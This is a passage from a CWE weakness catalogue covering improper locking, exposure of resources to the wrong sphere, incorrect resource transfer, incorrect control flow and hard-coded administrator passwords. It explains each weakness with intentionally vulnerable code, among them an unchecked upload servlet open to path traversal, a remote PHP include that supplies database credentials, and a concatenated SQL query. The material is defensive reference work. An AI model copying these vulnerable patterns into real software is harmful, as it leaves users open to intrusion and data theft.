













resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457
ParentOf		412	Unrestricted Externally Accessible Lock	1007
ParentOf		413	Improper Resource Locking	1010
ParentOf		414	Missing Lock Check	1014
ParentOf		609	Double-Checked Locking	1371
ParentOf		764	Multiple Locks of a Critical Resource	1613
ParentOf		765	Multiple Unlocks of a Critical Resource	1614
ParentOf		832	Unlock of a Resource that is not Locked	1761
ParentOf		833	Deadlock	1762
ParentOf		1232	Improper Lock Behavior After Power State Transition	2021
ParentOf		1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection	2023
ParentOf		1234	Hardware Internal or Debug Modes Allow Override of Locks	2026

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1457

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	
	<i>Inconsistent locking discipline can lead to deadlock.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.

Demonstrative Examples

Example 1:

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

Example Language: Java

(Bad)

```
private long someLongValue;
public long getLongValue() {
    return someLongValue;
}
public void setLongValue(long l) {
    someLongValue = l;
}
```

Example 2:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP

(Bad)

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logfile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C

(Bad)

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C

(Good)

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 4:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java

(Bad)

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one `Helper()` object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that `helper` is not initialized. Then, thread A sees that `helper==null` and enters the synchronized block and begins to execute:

Example Language:

(Bad)

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and `helper` has not finished running the constructor, then thread B may make calls on `helper` while its fields hold incorrect values.

Observed Examples












Reference	Description
CVE-2021-1782	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV. https://www.cve.org/CVERecord?id=CVE-2021-1782
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice https://www.cve.org/CVERecord?id=CVE-2009-0935
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. https://www.cve.org/CVERecord?id=CVE-2010-4210

Reference	Description
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. https://www.cve.org/CVERecord?id=CVE-2008-4302
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic. https://www.cve.org/CVERecord?id=CVE-2009-1243
CVE-2009-2857	OS deadlock https://www.cve.org/CVERecord?id=CVE-2009-2857
CVE-2009-1961	OS deadlock involving 3 separate functions https://www.cve.org/CVERecord?id=CVE-2009-1961
CVE-2009-2699	deadlock in library https://www.cve.org/CVERecord?id=CVE-2009-2699
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table https://www.cve.org/CVERecord?id=CVE-2009-4272
CVE-2002-1850	read/write deadlock between web server and script https://www.cve.org/CVERecord?id=CVE-2002-1850
CVE-2004-0174	web server deadlock involving multiple listening connections https://www.cve.org/CVERecord?id=CVE-2004-0174
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock. https://www.cve.org/CVERecord?id=CVE-2009-1388
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833). https://www.cve.org/CVERecord?id=CVE-2006-5158
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed. https://www.cve.org/CVERecord?id=CVE-2006-4342
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device. https://www.cve.org/CVERecord?id=CVE-2006-2374
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough. https://www.cve.org/CVERecord?id=CVE-2006-2275
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump. https://www.cve.org/CVERecord?id=CVE-2005-3847
CVE-2005-3106	Race condition leads to deadlock. https://www.cve.org/CVERecord?id=CVE-2005-3106
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833) https://www.cve.org/CVERecord?id=CVE-2005-2456
CVE-2001-0682	Program can not execute when attacker obtains a mutex. https://www.cve.org/CVERecord?id=CVE-2001-0682
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file. https://www.cve.org/CVERecord?id=CVE-2002-1914
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file. https://www.cve.org/CVERecord?id=CVE-2002-1915
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition. https://www.cve.org/CVERecord?id=CVE-2002-0051
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness. https://www.cve.org/CVERecord?id=CVE-2000-0338
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness. https://www.cve.org/CVERecord?id=CVE-2000-1198

Reference	Description
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close. https://www.cve.org/CVERecord?id=CVE-2002-1869

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2372
MemberOf		852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2387
MemberOf		853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2387
MemberOf		884	CWE Cross-section	884	2588
MemberOf		986	SFP Secondary Cluster: Missing Lock	888	2432
MemberOf		1131	CISQ Quality Measures (2016) - Security	1128	2463
MemberOf		1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2469
MemberOf		1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	2470
MemberOf		1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2483
MemberOf		1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2484
MemberOf		1401	Comprehensive Categorization: Concurrency	1400	2547

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	CON31-C	CWE More Abstract	Do not destroy a mutex while it is locked
CERT C Secure Coding	POS48-C	CWE More Abstract	Do not unlock or destroy another POSIX thread's mutex
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	VNA05-J		Ensure atomicity when reading and writing 64-bit values

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK06-J		Do not use an instance lock to protect shared static data
Software Fault Patterns	SFP19		Missing Lock
OMG ASCSM	ASCSM-CWE-667		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links

References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID : 668

Structure : Simple

Abstraction : Class

Description

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.



A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463
ParentOf		8	J2EE Misconfiguration: Entity Bean Declared Remote	6
ParentOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Nature	Type	ID	Name	Page
ParentOf	B	134	Use of Externally-Controlled Format String	371
ParentOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	511
ParentOf	B	374	Passing Mutable Objects to an Untrusted Method	927
ParentOf	B	375	Returning a Mutable Object to an Untrusted Caller	930
ParentOf	C	377	Insecure Temporary File	932
ParentOf	C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	984
ParentOf	B	427	Uncontrolled Search Path Element	1040
ParentOf	B	428	Unquoted Search Path or Element	1047
ParentOf	B	488	Exposure of Data Element to Wrong Session	1176
ParentOf	V	491	Public cloneable() Method Without Final ('Object Hijack')	1181
ParentOf	V	492	Use of Inner Class Containing Sensitive Data	1183
ParentOf	V	493	Critical Public Variable Without Final Modifier	1190
ParentOf	V	498	Cloneable Class Containing Sensitive Information	1204
ParentOf	V	499	Serializable Class Containing Sensitive Data	1206
ParentOf	C	522	Insufficiently Protected Credentials	1234
ParentOf	B	524	Use of Cache Containing Sensitive Information	1240
ParentOf	B	552	Files or Directories Accessible to External Parties	1274
ParentOf	V	582	Array Declared Public, Final, and Static	1322
ParentOf	V	583	finalize() Method Declared Public	1324
ParentOf	V	608	Struts: Non-private Field in ActionForm Class	1369
ParentOf	C	642	External Control of Critical State Data	1422
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	1559
ParentOf	B	767	Access to Critical Private Variable via Public Method	1619
ParentOf	V	927	Use of Implicit Intent for Sensitive Communication	1846
ParentOf	B	1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)	1985
ParentOf	B	1282	Assumed-Immutable Data is Stored in Writable Memory	2139
ParentOf	B	1327	Binding to an Unrestricted IP Address	2227
ParentOf	B	1331	Improper Isolation of Shared Resources in Network On Chip (NoC)	2237
CanFollow	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1072
CanFollow	V	942	Permissive Cross-domain Policy with Untrusted Domains	1857

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	134	Use of Externally-Controlled Format String	371
ParentOf	B	426	Untrusted Search Path	1035
ParentOf	B	427	Uncontrolled Search Path Element	1040
ParentOf	B	428	Unquoted Search Path or Element	1047
ParentOf	B	552	Files or Directories Accessible to External Parties	1274

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

Scope	Impact	Likelihood
Other	Other	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2522
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Notes

Theoretical

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

References

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails >.2024-11-17.

CWE-669: Incorrect Resource Transfer Between Spheres

Weakness ID : 669

Structure : Simple

Abstraction : Class

Description







The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

Relationships






The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463
ParentOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	551

Nature	Type	ID	Name	Page
ParentOf		243	Creation of chroot Jail Without Changing Working Directory	596
ParentOf		434	Unrestricted Upload of File with Dangerous Type	1055
ParentOf		494	Download of Code Without Integrity Check	1192
ParentOf		829	Inclusion of Functionality from Untrusted Control Sphere	1750
ParentOf		1420	Exposure of Sensitive Information during Transient Execution	2297
CanFollow		244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	598

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf		212	Improper Removal of Sensitive Information Before Storage or Transfer	551
ParentOf		434	Unrestricted Upload of File with Dangerous Type	1055
ParentOf		494	Download of Code Without Integrity Check	1192
ParentOf		565	Reliance on Cookies without Validation and Integrity Checking	1292
ParentOf		829	Inclusion of Functionality from Untrusted Control Sphere	1750

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2446

Background Details

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
	Unexpected State	

Demonstrative Examples

Example 1:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

Example Language: HTML

(Good)

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

Example Language: Java

(Bad)

```
public class FileUploadServlet extends HttpServlet {
    ...
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
    IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        String contentType = request.getContentType();
        // the starting position of the boundary header
        int ind = contentType.indexOf("boundary=");
        String boundary = contentType.substring(ind+9);
        String pLine = new String();
        String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
        // verify that content type is multipart form data
        if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
            // extract the filename from the Http header
            BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
            ...
            pLine = br.readLine();
            String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\n"));
            ...
            // output the file to the local upload directory
            try {
                BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
                for (String line; (line=br.readLine())!=null; ) {
                    if (line.indexOf(boundary) == -1) {
                        bw.write(line);
                        bw.newLine();
                        bw.flush();
                    }
                }
            } //end of for loop
            bw.close();
        } catch (IOException ex) {...}
        // output successful upload response HTML page
    }
    // output unsuccessful upload response HTML page
    else
    {...}
}
...
}
```

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Example 2:

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

Example Language: PHP

(Bad)

```
//assume the password is already encrypted, avoiding CWE-312
function authenticate($username,$password){
    include("http://external.example.com/dbInfo.php");
    //dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
```

```

mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);
if(mysql_numrows($result) == 1){
    mysql_close();
    return true;
}
else{
    mysql_close();
    return false;
}
}

```

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themselves to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

Example 3:

This code either generates a public HTML user information page or a JSON response containing the same user information.

Example Language: PHP

(Bad)

```

// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
    $record = getUserRecord($username);
    foreach($record as $fieldName => $fieldValue)
    {
        if($fieldName == "email_address") {
            // skip displaying user emails
            continue;
        }
        else{
            writeToHtmlPage($fieldName,$fieldValue);
        }
    }
}
else
{
    $record = getUserRecord($username);
    echo json_encode($record);
}

```

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

Observed Examples

Reference	Description
CVE-2021-22909	Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494). https://www.cve.org/CVERecord?id=CVE-2021-22909
CVE-2023-5227	PHP-based FAQ management app does not check the MIME type for uploaded images

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2023-5227
CVE-2005-0406	Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error). https://www.cve.org/CVERecord?id=CVE-2005-0406

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2522
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

CWE-670: Always-Incorrect Control Flow Implementation

Weakness ID : 670

Structure : Simple

Abstraction : Class

Description

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

Extended Description

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	 P 	691	Insufficient Control Flow Management	1525
ParentOf	B	480	Use of Incorrect Operator	1157
ParentOf	B	483	Incorrect Block Delimitation	1167
ParentOf	B	484	Omitted Break Statement in Switch	1169
ParentOf	B	617	Reachable Assertion	1387
ParentOf	B	698	Execution After Redirect (EAR)	1542
ParentOf	B	783	Operator Precedence Logic Error	1659

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	617	Reachable Assertion	1387

Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

Demonstrative Examples

Example 1:

This code queries a server and displays its status when a request comes from an authorized IP address.

Example Language: PHP (Bad)

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
    echo "You are not authorized to view this page";
    http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Example 2:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C (Bad)

```
if (condition==true)
    Do_X();
    Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 3:

In both of these examples, a message is printed based on the month passed into the function:

Example Language: Java (Bad)

```
public void printMessage(int month){
    switch (month) {
        case 1: print("January");
        case 2: print("February");
        case 3: print("March");
        case 4: print("April");
        case 5: print("May");
        case 6: print("June");
        case 7: print("July");
        case 8: print("August");
        case 9: print("September");
        case 10: print("October");
        case 11: print("November");
```

```
    case 12: print("December");
  }
  println(" is a great month");
}
```

*Example Language: C**(Bad)*

```
void printMessage(int month){
  switch (month) {
    case 1: printf("January");
    case 2: printf("February");
    case 3: printf("March");
    case 4: printf("April");
    case 5: printf("May");
    case 6: printf("June");
    case 7: printf("July");
    case 8: printf("August");
    case 9: printf("September");
    case 10: printf("October");
    case 11: printf("November");
    case 12: printf("December");
  }
  printf(" is a great month");
}
```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

Example 4:

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

*Example Language: Java**(Bad)*




```
String email = request.getParameter("email_address");
assert email != null;
```

Observed Examples

Reference	Description
CVE-2021-3011	virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code https://www.cve.org/CVERecord?id=CVE-2021-3011

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		977	SFP Secondary Cluster: Design	888	2428
MemberOf		1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2597
MemberOf		1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Notes**Maintenance**

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

CWE-671: Lack of Administrator Control over Security

Weakness ID : 671

Structure : Simple

Abstraction : Class

Description

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.

Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1454
ParentOf		447	Unimplemented or Unsupported Feature in UI	1082
ParentOf		798	Use of Hard-coded Credentials	1699

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2446

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Demonstrative Examples

Example 1:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C

(Bad)

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!") {
        printf("Incorrect Password!\n");
        return(0)
    }
}
```

```
printf("Entering Diagnostic Mode...\n");
return(1);
}
```

Example Language: Java

(Bad)

```
int VerifyAdmin(String password) {
    if (!password.equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Observed Examples

Reference	Description
CVE-2022-29953	Condition Monitor firmware has a maintenance interface with hard-coded credentials https://www.cve.org/CVERecord?id=CVE-2022-29953
CVE-2000-0127	GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file. https://www.cve.org/CVERecord?id=CVE-2000-0127

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2427
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2570

CWE-672: Operation on a Resource after Expiration or Release

Weakness ID : 672
Structure : Simple
Abstraction : Class

Description










The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	666	Operation on Resource in Wrong Phase of Lifetime	1471

Nature	Type	ID	Name	Page
ParentOf		298	Improper Validation of Certificate Expiration	733
ParentOf		324	Use of a Key Past its Expiration Date	799
ParentOf		613	Insufficient Session Expiration	1380
ParentOf		825	Expired Pointer Dereference	1741
ParentOf		910	Use of Expired File Descriptor	1809
CanFollow		562	Return of Stack Variable Address	1287
CanFollow		826	Premature Release of Resource During Expected Lifetime	1743
CanFollow		911	Improper Update of Reference Count	1811
CanFollow		1341	Multiple Releases of Same Resource or Handle	2258

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
